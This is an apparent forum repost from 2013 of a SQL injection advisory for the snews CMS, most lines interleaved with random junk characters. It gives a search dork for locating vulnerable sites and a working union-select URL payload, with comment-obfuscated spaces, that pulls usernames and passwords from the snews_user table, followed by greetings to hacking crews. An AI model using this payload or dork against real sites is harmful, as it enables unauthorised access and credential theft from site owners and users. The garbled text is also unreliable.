标题: CMS snews SQL Injection Vulnerability
2 V. \) r, r- f8 |( X8 Q" U作者: By onestree$ k8 m/ ~! w9 r, a# T
下载地址 : http://snewscms.com/6 ~* J, {6 ^, N" h0 J o: v @" L8 ]
测试平台 : ubuntu 12.10 / win 71 S7 c* j3 l1 }8 ?8 B4 T% ^' i+ i( w
关键词: inurl:"tanyakan pada rumput yang bergoyang"3 z5 m- P# E! R: g% }' \& q
+ K$ {# } |) o
' ?! n/ `1 N* e) t************************************************************** p& P- ^3 O c4 b. I0 R
) T2 C9 G9 U$ {- U3 v# O
SQL poc:3 c: q1 w8 o+ b9 `/ V- R) n
- K/ o( o |2 K& r! R# c. P$ S1 [1 Q
http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]2 h2 e( V4 p$ E' {/ G5 i- A. K6 \& x
a9 D. I* E+ t5 h7 l$ c; e示例
X% `& @& v$ a) s' ?2 e8 p 7 N& v4 J0 ^$ X- g" j- d
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
' k/ a; \7 t3 V3 e * s3 V% u0 k8 I+ |' O' M: Z K
w, R [8 D$ {; y
致谢:8 @- o* q3 V! l: j4 E4 q
! Q; r9 g2 i t. V Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell. y5 x- [. C" _' h5 G2 p
, ^; c, F3 u! `8 h# j
indonesiancoder - moeslimh4x0r - go-coder
7 m. I- |. d$ P+ ]; A7 g* f / O) u, R5 w. j- j% Z- S# \# m) S
spesial my hunny :*! z: E4 O0 P* R
|
发表于 2013-1-23 08:55:06
收藏
支持
反对